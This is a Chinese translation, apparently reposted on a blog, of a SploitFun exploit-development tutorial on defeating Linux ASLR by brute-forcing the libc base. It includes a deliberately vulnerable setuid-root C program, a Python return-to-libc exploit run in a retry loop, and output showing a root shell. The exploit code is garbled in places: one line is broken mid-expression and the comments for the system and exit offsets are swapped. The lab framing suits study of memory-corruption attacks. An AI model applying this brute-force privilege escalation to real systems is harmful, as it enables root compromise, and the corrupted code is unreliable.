Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
2017-05-01 18:24
567 查看
绕过 ASLR – 第二部分
译者:飞龙原文:Bypassing ASLR – Part II
本文承接 @hackyzh 翻译的第六篇。
预备条件:
经典的基于栈的溢出
VM 配置:Ubuntu 12.04 (x86)
这篇文章中,让我们看看如何使用爆破技巧,来绕过共享库地址随机化。
什么是爆破?
在这个技巧中,攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。假设你足够幸运,这个技巧是用于绕过 ASLR 的最简单的技巧。
漏洞代码:
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buf[256]; strcpy(buf,argv[1]); printf("%s\n",buf); fflush(stdout); return 0; }
编译命令:
#echo 2 > /proc/sys/kernel/randomize_va_space $gcc -fno-stack-protector -g -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
让我们来看看,攻击者如何爆破 Libc 基址。下面是(当随机化打开时)不同的 Libc 基址:
$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000) $
上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。在下面的利用代码中,让我们选择
0xb7595000作为 Libc 基址,并让我们尝试几次。
利用代码:
#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0xb7595000 exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command. system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command. system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off system_arg = 0x804827d #endianess convertion def conv(num): return struct.pack("<I",numystem + exit + system_arg buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(system_arg) print "Calling vulnerable program" #Multiple tries until we get lucky i = 0 while (i < 256): print "Number of tries: %d" %i i += 1 ret = call(["./vuln", buf]) if (not ret): break else: print "Exploit failed"
运行上面的利用代码,我们会得到 root shell(在下面展示):
$ python exp.py Calling vulnerable program Number of tries: 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}� Exploit failed ... Number of tries: 42 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}� Exploit failed Number of tries: 43 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}� # id uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun) # exit $
注意:也可以爆破类似的栈和堆段的地址。
相关文章推荐
- Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
- Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)
- Linux (x86) Exploit 开发系列教程之十二 释放后使用
- Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出
- Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
- Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
- SploitFun Linux x86 Exploit 开发系列教程
- 【本文已迁移到“程序员文摘” http://programmerdigest.cn/category/lajp】LAJP系列教程-第二部分-HelloWorld(Linux socket)
- 【本文已迁移到“程序员文摘” http://programmerdigest.cn/category/lajp】LAJP系列教程-第二部分-HelloWorld(Linux 消息队列)
- iOS开发教程:Storyboard全解析-第二部分
- linux2.6驱动开发系列教程
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- iOS开发教程:Storyboard全解析-第二部分
- VC++实战《星际传奇》网游课程第二部分:网络游戏开发基础篇(D3D11编程)视频教程